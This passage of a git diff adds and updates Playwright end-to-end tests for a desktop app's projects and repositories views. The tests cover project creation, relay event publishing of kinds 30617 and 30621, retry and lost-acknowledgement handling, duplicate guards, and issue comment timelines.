     page.locator('[data-testid^="project-row-"]').first(),
+    { summaryTestId: "projects-row-summary" },
   );
 
+  await page.getByTestId("projects-section-repositories").click();
+  await page.getByRole("button", { name: "Filter repositories" }).click();
+  await expect(
+    page.getByRole("menuitem", { name: "My Repositories" }),
+  ).toBeVisible();
+  await page.keyboard.press("Escape");
+  await expect(page.getByTestId("repository-row-buzz")).toBeVisible();
+  await expect(page.getByTestId("repository-row-relay-tools")).toBeVisible();
+  const repositoryRow = page.getByTestId("repository-row-buzz");
+  await expect(
+    repositoryRow.getByTestId("repositories-row-summary"),
+  ).toContainText("commits");
+  await expect(
+    repositoryRow.getByTestId("repositories-row-branch"),
+  ).toContainText("main");
+  await expect(repositoryRow.locator("p")).toHaveText("buzz");
+  const repositoryPositions = await trailingPositions(repositoryRow, {
+    actionName: /More options for/,
+    dateTestId: "repositories-row-date",
+    summaryTestId: "repositories-row-summary",
+  });
+  expect(
+    Math.abs(
+      (repositoryPositions.summaryX ?? 0) - (projectPositions.summaryX ?? 0),
+    ),
+  ).toBeLessThanOrEqual(ALIGNMENT_TOLERANCE_PX);
+  expect(
+    Math.abs(repositoryPositions.rowHeight - projectPositions.rowHeight),
+  ).toBeLessThanOrEqual(ALIGNMENT_TOLERANCE_PX);
+  expect(
+    Math.abs(repositoryPositions.dateX - projectPositions.dateX),
+  ).toBeLessThanOrEqual(ALIGNMENT_TOLERANCE_PX);
+  expect(
+    Math.abs(repositoryPositions.menuX - projectPositions.menuX),
+  ).toBeLessThanOrEqual(ALIGNMENT_TOLERANCE_PX);
+  await waitForAnimations(page);
+  await page.screenshot({
+    path: `${SHOTS}/05-project-repositories-list.png`,
+  });
+  await page
+    .getByTestId("repository-row-relay-tools")
+    .getByRole("button", { name: "More options for relay-tools" })
+    .click();
+  await expect(
+    page.getByRole("menuitem", { name: "Clone & open in Terminal" }),
+  ).toBeVisible();
+  await page.keyboard.press("Escape");
+
   await page
     .getByRole("button", { name: "Pull Requests", exact: true })
     .click();
@@ -64,9 +135,7 @@ test("top-level project lists align dates and overflow actions", async ({
   ).toBeVisible();
   await page.keyboard.press("Escape");
   await page.getByTestId("projects-create-menu").hover();
-  await expect(
-    page.getByRole("menuitem", { name: "Repository" }),
-  ).toBeVisible();
+  await expect(page.getByRole("menuitem", { name: "Project" })).toBeVisible();
   await expect(page.getByRole("menuitem", { name: "Issue" })).toBeVisible();
   await page
     .getByRole("menuitem", { name: "Pull Request", exact: true })
@@ -100,20 +169,20 @@ test("top-level project lists align dates and overflow actions", async ({
   const issuePositions = await trailingPositions(issueRow);
 
   expect(
-    Math.abs(pullRequestPositions.dateX - repositoryPositions.dateX),
+    Math.abs(pullRequestPositions.dateX - projectPositions.dateX),
   ).toBeLessThanOrEqual(ALIGNMENT_TOLERANCE_PX);
   expect(
-    Math.abs(pullRequestPositions.menuX - repositoryPositions.menuX),
+    Math.abs(pullRequestPositions.menuX - projectPositions.menuX),
   ).toBeLessThanOrEqual(ALIGNMENT_TOLERANCE_PX);
   expect(
-    Math.abs(issuePositions.dateX - repositoryPositions.dateX),
+    Math.abs(issuePositions.dateX - projectPositions.dateX),
   ).toBeLessThanOrEqual(ALIGNMENT_TOLERANCE_PX);
   expect(
-    Math.abs(issuePositions.menuX - repositoryPositions.menuX),
+    Math.abs(issuePositions.menuX - projectPositions.menuX),
   ).toBeLessThanOrEqual(ALIGNMENT_TOLERANCE_PX);
 
   await page.setViewportSize({ height: 720, width: 900 });
-  await page.getByRole("button", { name: "Repositories", exact: true }).click();
+  await page.getByTestId("projects-section-projects").click();
   const responsiveRepositoryRow = page
     .locator('[data-testid^="project-row-"]')
     .first();
@@ -136,6 +205,275 @@ test("top-level project lists align dates and overflow actions", async ({
   ).toBe(true);
 });
 
+test("creating a project publishes its initial repository grouping", async ({
+  page,
+}) => {
+  await enableProjectsFeature(page);
+  await installMockBridge(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page.getByTestId("projects-create-menu").hover();
+  await page.getByRole("menuitem", { name: "Project" }).click();
+  await page.getByTestId("create-project-name").fill("multi-repo-demo");
+  await page
+    .getByTestId("create-project-description")
+    .fill("A grouped project created through the desktop app.");
+  await page
+    .getByTestId("create-project-clone-url")
+    .fill("https://relay.example.com/git/owner/multi-repo-demo.git");
+  await page.getByTestId("create-project-submit").click();
+
+  await expect(page.getByTestId("create-project-dialog")).toBeHidden();
+  await expect(
+    page
+      .locator(
+        '[data-testid="project-card-multi-repo-demo"], [data-testid="project-row-multi-repo-demo"]',
+      )
+      .first(),
+  ).toBeVisible();
+
+  const createdEvents = await page.evaluate(
+    () =>
+      window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__?.filter((event) =>
+        event.tags.some(
+          (tag) => tag[0] === "d" && tag[1] === "multi-repo-demo",
+        ),
+      ) ?? [],
+  );
+  expect(createdEvents.map((event) => event.kind).sort()).toEqual([
+    30617, 30621,
+  ]);
+  const projectEvent = createdEvents.find((event) => event.kind === 30621);
+  expect(projectEvent?.tags).toContainEqual([
+    "a",
+    `30617:${"deadbeef".repeat(8)}:multi-repo-demo`,
+  ]);
+  expect(projectEvent?.content).toBe("");
+
+  await page.getByTestId("projects-create-menu").hover();
+  await page.getByRole("menuitem", { name: "Project" }).click();
+  await page.getByTestId("create-project-name").fill("multi-repo-demo");
+  await page.getByTestId("create-project-submit").click();
+  await expect(page.getByTestId("create-project-dialog")).toBeVisible();
+  await expect(
+    page.getByText('You already have a project named "multi-repo-demo".'),
+  ).toBeVisible();
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__?.filter((event) =>
+            event.tags.some(
+              (tag) => tag[0] === "d" && tag[1] === "multi-repo-demo",
+            ),
+          ).length ?? 0,
+      ),
+    )
+    .toBe(2);
+});
+
+test("unsupported relays keep the initial repository accessible", async ({
+  page,
+}) => {
+  await enableProjectsFeature(page);
+  await page.addInitScript(() => {
+    window.__BUZZ_E2E_UNSUPPORTED_PROJECT_ANNOUNCEMENTS__ = true;
+  });
+  await installMockBridge(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page.getByTestId("projects-create-menu").hover();
+  await page.getByRole("menuitem", { name: "Project" }).click();
+  await page.getByTestId("create-project-name").fill("legacy-fallback");
+  await page.getByTestId("create-project-submit").click();
+
+  await expect(page.getByTestId("create-project-dialog")).toBeHidden();
+  await expect(page.getByText("Created as a standalone project")).toBeVisible();
+  await waitForAnimations(page);
+  const projectEntry = page
+    .locator(
+      '[data-testid="project-card-legacy-fallback"], [data-testid="project-row-legacy-fallback"]',
+    )
+    .first();
+  await expect(projectEntry).toBeVisible();
+  await projectEntry
+    .getByRole("button", { name: "View legacy-fallback" })
+    .click();
+  await expect(page.getByTestId("project-repository-picker")).toContainText(
+    "legacy-fallback",
+  );
+  await waitForAnimations(page);
+  await page.screenshot({
+    path: `${SHOTS}/06-single-repository-add.png`,
+  });
+
+  const acceptedKinds = await page.evaluate(
+    () =>
+      window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__
+        ?.filter((event) =>
+          event.tags.some(
+            (tag) => tag[0] === "d" && tag[1] === "legacy-fallback",
+          ),
+        )
+        .map((event) => event.kind) ?? [],
+  );
+  expect(acceptedKinds).toEqual([30617]);
+});
+
+test("project creation can retry after its repository publication fails", async ({
+  page,
+}) => {
+  await enableProjectsFeature(page);
+  await page.addInitScript(() => {
+    window.__BUZZ_E2E_REJECT_PROJECT_EVENT_KINDS__ = [30621];
+  });
+  await installMockBridge(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page.getByTestId("projects-create-menu").hover();
+  await page.getByRole("menuitem", { name: "Project" }).click();
+  await page.getByTestId("create-project-name").fill("retry-project");
+  await page.getByTestId("create-project-submit").click();
+
+  await expect(page.getByTestId("create-project-dialog")).toBeVisible();
+  await expect(page.getByText("mock project event rejection")).toBeVisible();
+
+  await page.getByTestId("create-project-submit").click();
+  await expect(page.getByTestId("create-project-dialog")).toBeHidden();
+  await expect(
+    page
+      .locator(
+        '[data-testid="project-card-retry-project"], [data-testid="project-row-retry-project"]',
+      )
+      .first(),
+  ).toBeVisible();
+});
+
+test("project creation is idempotent after a lost publish acknowledgement", async ({
+  page,
+}) => {
+  await enableProjectsFeature(page);
+  await page.addInitScript(() => {
+    window.__BUZZ_E2E_FAIL_PROJECT_EVENT_ACK_KINDS__ = [30621];
+  });
+  await installMockBridge(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page.getByTestId("projects-create-menu").hover();
+  await page.getByRole("menuitem", { name: "Project" }).click();
+  await page.getByTestId("create-project-name").fill("lost-ack-project");
+  await page.getByTestId("create-project-submit").click();
+
+  await expect(page.getByTestId("create-project-dialog")).toBeVisible();
+  await expect(
+    page.getByText("mock lost project acknowledgement"),
+  ).toBeVisible();
+
+  await page.getByTestId("create-project-submit").click();
+  await expect(page.getByTestId("create-project-dialog")).toBeHidden();
+  await expect(
+    page
+      .locator(
+        '[data-testid="project-card-lost-ack-project"], [data-testid="project-row-lost-ack-project"]',
+      )
+      .first(),
+  ).toBeVisible();
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__?.filter((event) =>
+            event.tags.some(
+              (tag) => tag[0] === "d" && tag[1] === "lost-ack-project",
+            ),
+          ).length ?? 0,
+      ),
+    )
+    .toBe(2);
+});
+
+test("multi-repository projects switch the active repository", async ({
+  page,
+}) => {
+  await enableProjectsFeature(page);
+  await installMockBridge(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page.getByTestId("projects-section-projects").click();
+  await page
+    .locator(
+      '[data-testid="project-card-buzz"], [data-testid="project-row-buzz"]',
+    )
+    .first()
+    .click();
+
+  const picker = page.getByTestId("project-repository-picker");
+  await expect(picker).toContainText("buzz");
+  await picker.click();
+  await expect(
+    page.getByTestId("project-repository-relay-tools"),
+  ).toBeVisible();
+  await waitForAnimations(page);
+  await page.screenshot({
+    path: `${SHOTS}/04-multi-repository-picker.png`,
+  });
+
+  await page.getByTestId("project-repository-relay-tools").click();
+  await expect(picker).toContainText("relay-tools");
+  await expect(page).toHaveURL(
+    new RegExp(`repositoryId=${TEST_IDENTITIES.alice.pubkey}%3Arelay-tools`),
+  );
+
+  await page.getByTestId("add-project-repository").click();
+  await page.getByTestId("create-project-repository").click();
+  await page.getByTestId("add-project-repository-name").fill("mobile-app");
+  await page.getByTestId("add-project-repository-submit").click();
+  await expect(page.getByTestId("add-project-repository-dialog")).toBeHidden();
+  await expect(picker).toContainText("mobile-app");
+  const addedEvents = await page.evaluate(
+    () =>
+      window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__?.filter(
+        (event) =>
+          event.tags.some((tag) => tag[0] === "d" && tag[1] === "mobile-app") ||
+          event.tags.some(
+            (tag) =>
+              tag[0] === "a" &&
+              tag[1]?.endsWith(":mobile-app") &&
+              event.kind === 30621,
+          ),
+      ) ?? [],
+  );
+  expect(addedEvents.map((event) => event.kind)).toEqual([30621, 30617]);
+  expect(
+    addedEvents.find((event) => event.kind === 30617)?.tags,
+  ).toContainEqual(["buzz-channel", "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50"]);
+
+  await page.getByTestId("add-project-repository").click();
+  await page.getByTestId("attach-project-repository").click();
+  await expect(
+    page.getByTestId("attach-project-repository-dialog"),
+  ).toBeVisible();
+  await page.getByTestId("attach-existing-repository-design-system").click();
+  await expect(
+    page.getByTestId("attach-project-repository-dialog"),
+  ).toBeHidden();
+  await expect(picker).toContainText("design-system");
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__?.some(
+            (event) =>
+              event.kind === 30621 &&
+              event.tags.some(
+                (tag) => tag[0] === "a" && tag[1]?.endsWith(":design-system"),
+              ),
+          ) ?? false,
+      ),
+    )
+    .toBe(true);
+});
+
 test("commit detail opens from the commits feed with a diff", async ({
   page,
 }) => {
@@ -147,8 +485,8 @@ test("commit detail opens from the commits feed with a diff", async ({
   await page.getByTestId("open-projects-view").click();
 
   // The overview no longer lists repository cards — switch to the
-  // Repositories filter to reveal the project cards/rows.
-  await page.getByRole("button", { name: "Repositories", exact: true }).click();
+  // Projects filter reveals the complete project cards/rows list.
+  await page.getByTestId("projects-section-projects").click();
 
   // Open the first mock project (dtag "buzz" from the e2e bridge fixture).
   const projectEntry = page
@@ -256,8 +594,8 @@ test("pull request and issue feeds share the commit row structure", async ({
   await page.getByTestId("open-projects-view").click();
 
   // The overview no longer lists repository cards — switch to the
-  // Repositories filter to reveal the project cards/rows.
-  await page.getByRole("button", { name: "Repositories", exact: true }).click();
+  // Projects filter reveals the complete project cards/rows list.
+  await page.getByTestId("projects-section-projects").click();
 
   const projectEntry = page
     .locator(
@@ -303,3 +641,255 @@ test("pull request and issue feeds share the commit row structure", async ({
     path: `${SHOTS}/04-issues-feed.png`,
   });
 });
+
+test("adding a repository retries and reports an error when the 30617 publication is rejected", async ({
+  page,
+}) => {
+  await enableProjectsFeature(page);
+  // Reject the repository-announcement event on every attempt so the mutation
+  // exhausts its retry and surfaces a partial-write error.
+  await page.addInitScript(() => {
+    // Reject kind 30617 twice (initial attempt + one retry).
+    window.__BUZZ_E2E_REJECT_PROJECT_EVENT_KINDS__ = [30617, 30617];
+  });
+  await installMockBridge(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page.getByTestId("projects-section-projects").click();
+  await page
+    .locator(
+      '[data-testid="project-card-buzz"], [data-testid="project-row-buzz"]',
+    )
+    .first()
+    .click();
+
+  await page.getByTestId("add-project-repository").click();
+  await page.getByTestId("create-project-repository").click();
+  await page.getByTestId("add-project-repository-name").fill("rejected-repo");
+  await page.getByTestId("add-project-repository-submit").click();
+
+  // The project event (30621) is published; the repository event (30617) is
+  // rejected on both attempts. The dialog must surface the partial-write error.
+  await expect(page.getByTestId("add-project-repository-dialog")).toBeVisible();
+  await expect(
+    page.getByText(/repository could not be created/i),
+  ).toBeVisible();
+
+  // The 30621 must have been published (project was updated).
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__?.some(
+            (event) =>
+              event.kind === 30621 &&
+              event.tags.some(
+                (tag) => tag[0] === "a" && tag[1]?.endsWith(":rejected-repo"),
+              ),
+          ) ?? false,
+      ),
+    )
+    .toBe(true);
+
+  // The 30617 must NOT have been accepted (both attempts were rejected).
+  const acceptedRepo = await page.evaluate(
+    () =>
+      window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__?.some(
+        (event) =>
+          event.kind === 30617 &&
+          event.tags.some(
+            (tag) => tag[0] === "d" && tag[1] === "rejected-repo",
+          ),
+      ) ?? false,
+  );
+  expect(
+    acceptedRepo,
+    "30617 must not be accepted when the relay rejects both attempts",
+  ).toBe(false);
+});
+
+test("adding a repository treats a lost 30617 acknowledgement as success", async ({
+  page,
+}) => {
+  await enableProjectsFeature(page);
+  // The relay will accept the 30617 but fail to deliver the ACK, then on the
+  // retry query the event will be found — the mutation must succeed.
+  await page.addInitScript(() => {
+    window.__BUZZ_E2E_FAIL_PROJECT_EVENT_ACK_KINDS__ = [30617];
+  });
+  await installMockBridge(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page.getByTestId("projects-section-projects").click();
+  await page
+    .locator(
+      '[data-testid="project-card-buzz"], [data-testid="project-row-buzz"]',
+    )
+    .first()
+    .click();
+
+  const picker = page.getByTestId("project-repository-picker");
+
+  await page.getByTestId("add-project-repository").click();
+  await page.getByTestId("create-project-repository").click();
+  await page.getByTestId("add-project-repository-name").fill("lost-ack-repo");
+  await page.getByTestId("add-project-repository-submit").click();
+
+  // The dialog should close — the operation recovered from the lost ACK.
+  await expect(page.getByTestId("add-project-repository-dialog")).toBeHidden();
+  // The repository picker must reflect the newly added repository.
+  await expect(picker).toContainText("lost-ack-repo");
+
+  // Both events must have been accepted: the 30621 (project update) and the
+  // 30617 (repository — accepted by relay even though ACK was lost).
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__?.filter((event) =>
+            event.tags.some(
+              (tag) => tag[0] === "d" && tag[1] === "lost-ack-repo",
+            ),
+          ).length ?? 0,
+      ),
+    )
+    .toBeGreaterThanOrEqual(1);
+});
+
+test("adding a repository blocks when a standalone 30617 already exists at that coordinate", async ({
+  page,
+}) => {
+  await enableProjectsFeature(page);
+  // Seed a standalone 30617 (not a project member) owned by the mock identity.
+  // The add-repo mutation must block unconditionally when this coordinate exists,
+  // even though it is not yet in the "buzz" project's member list.
+  const MOCK_OWNER = "deadbeef".repeat(8);
+  const STANDALONE_DTAG = "existing-standalone";
+  await page.addInitScript(
+    ({ owner, dtag }) => {
+      window.__BUZZ_E2E_EXTRA_PROJECT_EVENTS__ = [
+        {
+          id: "standalone00".padEnd(64, "0"),
+          kind: 30617,
+          pubkey: owner,
+          created_at: Math.floor(Date.now() / 1000) - 3600,
+          content: "A standalone repository that exists outside any project.",
+          tags: [
+            ["d", dtag],
+            ["name", "Existing Standalone"],
+            ["clone", "https://git.example.com/standalone.git"],
+          ],
+        },
+      ];
+    },
+    { owner: MOCK_OWNER, dtag: STANDALONE_DTAG },
+  );
+  await installMockBridge(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page.getByTestId("projects-section-projects").click();
+  await page
+    .locator(
+      '[data-testid="project-card-buzz"], [data-testid="project-row-buzz"]',
+    )
+    .first()
+    .click();
+
+  await page.getByTestId("add-project-repository").click();
+  await page.getByTestId("create-project-repository").click();
+  // Use the same name — the dtag will match the seeded standalone 30617.
+  await page
+    .getByTestId("add-project-repository-name")
+    .fill("Existing Standalone");
+  await page.getByTestId("add-project-repository-submit").click();
+
+  // The dialog must remain open with a clobber error.
+  await expect(page.getByTestId("add-project-repository-dialog")).toBeVisible();
+  await expect(
+    page.getByText(/already exists.*standalone.*another project/i),
+  ).toBeVisible();
+
+  // Neither a 30621 (project update) nor a 30617 (new repo) must have been published.
+  const publishedForStandalone = await page.evaluate(
+    ({ dtag }) =>
+      window.__BUZZ_E2E_ACCEPTED_PROJECT_EVENTS__?.some(
+        (event) =>
+          event.tags.some((tag) => tag[0] === "d" && tag[1] === dtag) ||
+          event.tags.some(
+            (tag) => tag[0] === "a" && tag[1]?.endsWith(`:${dtag}`),
+          ),
+      ) ?? false,
+    { dtag: STANDALONE_DTAG },
+  );
+  expect(
+    publishedForStandalone,
+    "neither project nor repository event must be published when clobber guard fires",
+  ).toBe(false);
+});
+
+test("navigating via a 30617 entity-link route opens the correct non-primary repository and renders its PR", async ({
+  page,
+}) => {
+  await enableProjectsFeature(page);
+  // Seed a known pull-request for relay-tools (the non-primary member of "buzz")
+  // with a deterministic id so the URL can be constructed before navigation.
+  const ALICE_PUBKEY =
+    "953d3363262e86b770419834c53d2446409db6d918a57f8f339d495d54ab001f";
+  const RELAY_TOOLS_ADDRESS = `30617:${ALICE_PUBKEY}:relay-tools`;
+  const KNOWN_PR_ID = "entity-link-pr-test".padEnd(64, "0");
+
+  await page.addInitScript(
+    ({ repoAddress, prId, alicePubkey }) => {
+      window.__BUZZ_E2E_EXTRA_PROJECT_EVENTS__ = [
+        {
+          id: prId,
+          kind: 1618, // KIND_GIT_PULL_REQUEST
+          pubkey: alicePubkey,
+          created_at: Math.floor(Date.now() / 1000) - 60,
+          content: "Entity-link test PR from relay-tools",
+          tags: [
+            ["a", repoAddress],
+            ["subject", "Entity-link test PR from relay-tools"],
+            ["c", "abc123".padEnd(40, "0")],
+            ["h", "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50"],
+            ["branch-name", "feature/entity-link-test"],
+            ["clone", "https://github.com/block/relay-tools.git"],
+          ],
+        },
+      ];
+    },
+    {
+      repoAddress: RELAY_TOOLS_ADDRESS,
+      prId: KNOWN_PR_ID,
+      alicePubkey: ALICE_PUBKEY,
+    },
+  );
+  await installMockBridge(page);
+
+  // Navigate via the entity-link route using the hash router URL format.
+  // Python's http.server (the e2e web server) serves only index.html at `/`;
+  // a direct page.goto to `/projects/...` returns 404 because there is no
+  // SPA fallback. The app uses createHashHistory(), so the correct URL is
+  // `/#/projects/<id>?...` — the server always sees just `/` and the hash
+  // fragment is resolved entirely client-side by TanStack Router. Colons are
+  // valid in hash-fragment path segments and must NOT be percent-encoded:
+  // TanStack Router's param extractor receives the raw decoded segment, and
+  // %3A would be passed through literally (as the string "30617%3A…") rather
+  // than decoded to "30617:…", causing the project lookup to fail.
+  await page.goto(
+    `/#/projects/${RELAY_TOOLS_ADDRESS}?pullRequestId=${KNOWN_PR_ID}`,
+    { waitUntil: "domcontentloaded" },
+  );
+
+  // The repository picker must show "relay-tools" (non-primary), not "buzz" (primary).
+  const picker = page.getByTestId("project-repository-picker");
+  await expect(picker).toContainText("relay-tools", { timeout: 10_000 });
+  await expect(picker).not.toContainText("buzz");
+
+  // The PR detail panel must render from the relay-tools repository — not blank.
+  // Use `first()` to avoid Playwright strict-mode violations: the text appears
+  // in both the breadcrumb and the PR title heading once the detail panel opens.
+  await expect(
+    page.getByText("Entity-link test PR from relay-tools").first(),
+  ).toBeVisible({ timeout: 10_000 });
+});
diff --git a/desktop/tests/e2e/project-inbox.spec.ts b/desktop/tests/e2e/project-inbox.spec.ts
index bab417af6e..377d25aad1 100644
--- a/desktop/tests/e2e/project-inbox.spec.ts
+++ b/desktop/tests/e2e/project-inbox.spec.ts
@@ -23,7 +23,7 @@ test("Buzz Git pull request renders and stays actionable in Inbox", async ({
   await page.getByRole("button", { name: "Repositories", exact: true }).click();
   await page
     .locator(
-      '[data-testid="project-card-buzz"], [data-testid="project-row-buzz"]',
+      '[data-testid="repository-card-buzz"], [data-testid="repository-row-buzz"]',
     )
     .first()
     .click();
diff --git a/desktop/tests/e2e/project-issue-comments.spec.ts b/desktop/tests/e2e/project-issue-comments.spec.ts
new file mode 100644
index 0000000000..b224eaf12f
--- /dev/null
+++ b/desktop/tests/e2e/project-issue-comments.spec.ts
@@ -0,0 +1,72 @@
+import { expect, test } from "@playwright/test";
+
+import { installMockBridge } from "../helpers/bridge";
+
+const ISSUE_COMMENTS = [
+  "First issue comment",
+  "Second issue comment",
+  "Third issue comment",
+  "Fourth issue comment",
+];
+
+async function openBuzzProject(page: import("@playwright/test").Page) {
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page.getByTestId("projects-section-projects").click();
+  const projectEntry = page
+    .locator(
+      '[data-testid="project-card-buzz"], [data-testid="project-row-buzz"]',
+    )
+    .first();
+  await expect(projectEntry).toBeVisible({ timeout: 10_000 });
+  await projectEntry.click();
+}
+
+test("issue comments use the project activity timeline", async ({ page }) => {
+  await installMockBridge(page);
+  await openBuzzProject(page);
+
+  await page.getByRole("tab", { name: "Issues", exact: true }).click();
+  const issueRow = page.getByTestId("project-issue-row").first();
+  await expect(issueRow).toBeVisible({ timeout: 10_000 });
+  await issueRow.getByRole("button", { name: /^#/ }).click();
+
+  const composer = page.getByTestId("project-issue-comment-composer");
+  await expect(composer).toBeVisible();
+
+  for (const comment of ISSUE_COMMENTS) {
+    await composer.locator('[contenteditable="true"]').fill(comment);
+    await composer.getByRole("button", { name: "Send message" }).click();
+    await expect(page.getByText(comment, { exact: true })).toBeVisible({
+      timeout: 10_000,
+    });
+  }
+
+  const timelineRows = page.getByTestId("project-issue-comment-timeline-row");
+  const earlierComments = page.getByTestId("project-issue-earlier-comments");
+  const historyToggle = page.getByTestId(
+    "project-issue-comment-history-toggle",
+  );
+
+  await expect(timelineRows).toHaveCount(3);
+  await expect(earlierComments).toContainText("Show 1 earlier comment");
+  await expect(
+    timelineRows.filter({ hasText: "First issue comment" }),
+  ).toHaveCount(0);
+  await expect(
+    timelineRows.filter({ hasText: "Fourth issue comment" }),
+  ).toHaveCount(1);
+
+  await earlierComments.click();
+  await expect(timelineRows).toHaveCount(4);
+  for (const comment of ISSUE_COMMENTS) {
+    await expect(timelineRows.filter({ hasText: comment })).toHaveCount(1);
+  }
+
+  await historyToggle.click();
+  await expect(timelineRows).toHaveCount(0);
+  await expect(historyToggle).toContainText("Show 4 earlier comments");
+
+  await historyToggle.click();
+  await expect(timelineRows).toHaveCount(4);
+});
diff --git a/desktop/tests/e2e/project-pr-review.spec.ts b/desktop/tests/e2e/project-pr-review.spec.ts
index cae9a08481..9778fc7678 100644
--- a/desktop/tests/e2e/project-pr-review.spec.ts
+++ b/desktop/tests/e2e/project-pr-review.spec.ts
@@ -22,7 +22,7 @@ async function enableProjectsFeature(page: import("@playwright/test").Page) {
 async function openBuzzProject(page: import("@playwright/test").Page) {
   await page.goto("/", { waitUntil: "domcontentloaded" });
   await page.getByTestId("open-projects-view").click();
-  await page.getByRole("button", { name: "Repositories", exact: true }).click();
+  await page.getByTestId("projects-section-projects").click();
   const projectEntry = page
     .locator(
       '[data-testid="project-card-buzz"], [data-testid="project-row-buzz"]',
@@ -119,7 +119,7 @@ test("PR creator/owner can toggle draft, request reviews, and approve", async ({
   const header = page.getByRole("heading", { level: 3 });
   await expect(header.first()).toBeVisible();
   const sourceChannelLink = page.getByRole("button", {
-    name: "Open author-claimed source channel #general",
+    name: "Open author-claimed origin channel #general",
     exact: true,
   });
   await expect(sourceChannelLink).toBeVisible();
@@ -827,6 +827,70 @@ test("project pull requests preserve partial results from batched queries", asyn
   ).toHaveCount(0);
 });
 
+test("project pull request author rollover stays identity-only", async ({
+  page,
+}) => {
+  await enableProjectsFeature(page);
+  await installMockBridge(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page
+    .getByRole("button", { name: "Pull Requests", exact: true })
+    .click();
+  await page.getByRole("button", { name: "List layout" }).click();
+
+  const row = page.locator('[data-testid^="projects-pr-row-"]').first();
+  const author = row.getByTestId("projects-pr-author");
+  await expect(author).toBeVisible();
+  await expect(
+    author.locator(
+      '[data-testid="projects-pr-author-avatar-image"], [data-testid="projects-pr-author-avatar-fallback"]',
+    ),
+  ).toBeVisible();
+
+  const authorLabel = (
+    await author.getByTestId("projects-pr-author-label").innerText()
+  ).trim();
+  await author.hover();
+  const rollover = page.getByTestId("projects-pr-author-rollover");
+  await expect(rollover).toBeVisible();
+  await expect(rollover).toContainText(authorLabel);
+  await expect(rollover).toContainText(/Agent|Person/);
+  await expect(rollover).not.toContainText("Created");
+  await expect(page.getByTestId("user-profile-popover")).toHaveCount(0);
+});
+
+test("project issue author rollover matches pull requests", async ({
+  page,
+}) => {
+  await enableProjectsFeature(page);
+  await installMockBridge(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page.getByRole("button", { name: "Issues", exact: true }).click();
+  await page.getByRole("button", { name: "List layout" }).click();
+
+  const row = page.locator('[data-testid^="projects-issue-row-"]').first();
+  const author = row.getByTestId("projects-issue-author");
+  await expect(author).toBeVisible();
+  await expect(
+    author.locator(
+      '[data-testid="projects-issue-author-avatar-image"], [data-testid="projects-issue-author-avatar-fallback"]',
+    ),
+  ).toBeVisible();
+
+  const authorLabel = (
+    await author.getByTestId("projects-issue-author-label").innerText()
+  ).trim();
+  await author.hover();
+  const rollover = page.getByTestId("projects-issue-author-rollover");
+  await expect(rollover).toBeVisible();
+  await expect(rollover).toContainText(authorLabel);
+  await expect(rollover).toContainText(/Agent|Person/);
+  await expect(rollover).not.toContainText("Created");
+  await expect(page.getByTestId("user-profile-popover")).toHaveCount(0);
+});
+
 test("project pull requests report aggregate root query failures", async ({
   page,
 }) => {
@@ -945,6 +1009,33 @@ test("project overview does not paint a background behind its cards", async ({
   }
 });
 
+test("repository rows identify their git host", async ({ page }) => {
+  await enableProjectsFeature(page);
+  await installMockBridge(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-projects-view").click();
+  await page.getByRole("button", { name: "Repositories", exact: true }).click();
+  await page.getByRole("button", { name: "List layout" }).click();
+
+  const buzzHostIcon = page
+    .getByTestId("repository-row-buzz")
+    .getByTestId("repository-host-icon");
+  await expect(buzzHostIcon).toHaveAttribute(
+    "aria-label",
+    "Buzz-hosted repository",
+  );
+  await expect(
+    page
+      .getByTestId("repository-row-relay-tools")
+      .getByTestId("repository-host-icon"),
+  ).toHaveAttribute("aria-label", "Git data hosted on github.com");
+
+  await buzzHostIcon.hover();
+  await expect(
+    page.getByRole("tooltip", { name: "Buzz-hosted repository" }),
+  ).toBeVisible();
+});
+
 test("project subsections do not paint backgrounds behind list or grid items", async ({
   page,
 }) => {
@@ -953,20 +1044,33 @@ test("project subsections do not paint backgrounds behind list or grid items", a
   await page.goto("/", { waitUntil: "domcontentloaded" });
   await page.getByTestId("open-projects-view").click();
 
-  for (const section of ["Repositories", "Pull Requests", "Issues"]) {
+  for (const section of ["Repositories", "Pull Requests", "Issues"] as const) {
     await page.getByRole("button", { name: section, exact: true }).click();
     await page.getByRole("button", { name: "List layout" }).click();
 
-    const listContainer = page.getByTestId("projects-list-container");
-    await expect(listContainer).toBeVisible();
-    await expect(listContainer).toHaveCSS(
-      "background-color",
-      "rgba(0, 0, 0, 0)",
+    const listItems = page.locator(
+      section === "Repositories"
